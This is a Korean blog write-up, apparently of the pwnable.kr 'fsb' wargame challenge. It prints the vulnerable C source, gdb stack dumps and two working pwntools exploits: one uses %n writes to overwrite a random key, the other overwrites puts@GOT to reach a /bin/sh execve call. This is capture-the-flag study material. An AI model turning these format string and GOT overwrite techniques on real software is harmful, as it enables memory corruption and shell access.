해설

Isn't FSB almost obsolete in computer security?
Anyway, have fun with it :)

 

아주 쉬운 Format String Bug 문제이다. 코드를 보자

#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key;
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
        char* args[]={"/bin/sh", 0};
        int i;

        char*** pargv = &argv;
        char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        *pargv=0;
        *penvp=0;

        for(i=0; i<4; i++){
                printf("Give me some format strings(%d)\n", i+1);
                read(0, buf, 100);
                printf(buf);
        }

        printf("Wait a sec...\n");
        sleep(3);

        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 0, 10);
        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }

        printf("Incorrect key \n");
        return 0;
}

int main(int argc, char* argv[], char** envp){

        int fd = open("/dev/urandom", O_RDONLY);
        if( fd==-1 || read(fd, &key, 8) != 8 ){
                printf("Error, tell admin\n");
                return 0;
        }
        close(fd);

        alloca(0x12345 & key);

        fsb(argv, envp); // exploit this format string bug!
        return 0;
}

코드를 보고 print(buf) 부분에서 fsb가 발생할 수 있음을 캐치했다.

fsb는 스택에 어떤 값이 들어있냐에 따라서 exploit 난이도가 정해지는데, 이 문제는 스택에 스택 주소값이 들어가 있다. 해당 부분에 조작하고싶은 부분의 주소값을 먼저 써놓고, 그 주소에 다시 원하는 값을 쓰는 방식으로 exploit하면 될 것 같다. 코드를 보면 pw와 key를 비교하고, key는 무작위로 생성된 글로벌 변수이다.

 

이 문제를 푸는 방법은 여러가지가 있을 수 있는데 출제 의도(아마도)에 따르면 총 4번의 fsb를 이용해 문제를 푸는 정석(?)적인 방법과, 그런거 필요없고 got overwrite을 통해 control flow를 조작해서 execve(args[0], args, 0) 라인을 실행하는 법이 있다.

 

i) 정석(?)적인 방법

정석적인 방법이라함은 결국 무작위로 생성된 key 값을 조작해서 원하는 값으로 변경한 후에 pw를 해당 값으로 입력해서 조건문을 통과하는 방식이다. 일단 gdb로 fsb 함수 컨텍스트 안에서 stack에 어떤 값이 들어가 있는지를 보면 다음과 같다.

 

gdb-peda$ x /30x $esp
0xffe72860:     0x00000000      0x0804a100      0x00000064      0x00000000
0xffe72870:     0x00000000      0x00000000      0x00000000      0x00000000
0xffe72880:     0x00000000      0x08048870      0x00000000      0x00000000
0xffe72890:     0xffe82a38      0xffe83fe9      0xffe728b0      0xffe728b4
0xffe728a0:     0x00000000      0x00000000      0xffe82938      0x08048791
0xffe728b0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffe728c0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffe728d0:     0x00000000      0x00000000

 

자세히 보면 스택에 0xffe728b0, 0xffe728b4와 같은 스택 내부 주소가 저장되어 있음을 알 수 있다. 현재 해당 부분들은 모두 0으로 되어있고, 이 부분에 타겟 주소 값을 써넣고, 타겟 주소 값에 다시 원하는 값을 써넣는 방식으로 공격하면 될 것 같다. 

 

0xffe728b0는 14번째, 0xffe728b4는 15번째 값이고, 해당 부분에 key 값이 저장된 주소를 써넣으면 된다. key가 저장된 주소는 gdb로 확인한 결과 0x804a060이고, key는 8바이트이므로 결국 0x804a060, 0x804a064 두번에 나눠서 4바이트 정수 값을 %n 포맷을 이용해 써넣으면 되겠다.

 

exploit 코드는 아래와 같다.

from pwn import *

p = process("/home/fsb/fsb")

print(p.recvuntil(")"))
p.sendline("%134520928x%14$n")
p.recvuntil(")")
p.sendline("%134520932x%15$n")
p.recvuntil(")")
p.sendline("%20$n\x00")
p.recvuntil(")")
p.sendline("%21$n\x00")
print(p.recvuntil("key :"))
p.sendline("0")
print(p.recvuntil("Congratz"))
p.interactive()

 

3번째 4번째 입력 때 key에 4바이트씩 0을 써넣으려고 앞에 아무것도 넣지 않았고, 주의할 점이 뒤에는 쓸데없는 출력을 막기위해 null byte를 넣어주었다. null byte를 넣지 않으면 세그폴트가 발생한다.

 

ii) got overwrite

위와 같은 방법말고도 직접 쉘을 실행하는 부분으로 점프할 수 있는데, fsb는 원하는 주소에 원하는 값을 써넣을 수 있기 때문에 got overwrite이 가능하다. fsb 함수를 디스어셈해보면 4번의 루프 이후에 puts 함수가 실행되는 것을 알 수 있는데, 타겟을 puts로 잡아봤다. puts의 plt를 보면 다음과 같다.

gdb-peda$ x /i puts
   0x8048410 <puts@plt>:        jmp    DWORD PTR ds:0x804a00c

 

0x804a00c가 가리키는 주소로 점프를 하기 때문에, 0x804a00c에 담긴 주소를 덮어쓰면 된다.

따라서 스택에 0x804a00c 값을 우선 써넣고, 그 다음에 0x804a00c에 뛰고싶은 부분의 주소를 써넣으면 된다. fsb를 디스어셈 해보면 알겠지만 execve의 인자를 스택에 저장하는 부분의 코드 주소는 0x80486ab이다. 정리하면 스택에 0x804a00c 값 쓰기 -> 0x804a00c에 0x80486ab 값 쓰기 총 두번의 fsb만으로 exploit이 가능하다. 코드는 다음과 같다.

from pwn import *

p = process("/home/fsb/fsb")

print(p.recvuntil(")"))
p.sendline("%134520844x%14$n")
p.recvuntil(")")
p.sendline("%134514347x%20$n")
p.recvuntil(")")
p.sendline("aaaaaaaaaaaaaaaa")
p.recvuntil(")")
p.sendline("aaaaaaaaaaaaaaaa")
p.interactive()

 

이 때 주의할 점은 앞서 정석적인 방법때와 마찬가지인데 buf에 적절하게 null byte를 넣어주거나 buf를 의미없는 dummy값으로 전부 덮어서 3번째, 4번째 루프에서는 아무일도 일어나지않게 하는게 중요하다. 그래야만 의도한대로 exploit이 수행된다.

 

'pwn' 카테고리의 다른 글

pwnable.kr - tiny_easy  (0) 2021.02.25
pwnable.kr - echo1  (0) 2021.02.25
pwnable.kr - horcruxes  (0) 2020.08.04
pwnable.kr - blukat  (0) 2020.08.04
pwnable.kr - unlink  (0) 2020.08.04

+ Recent posts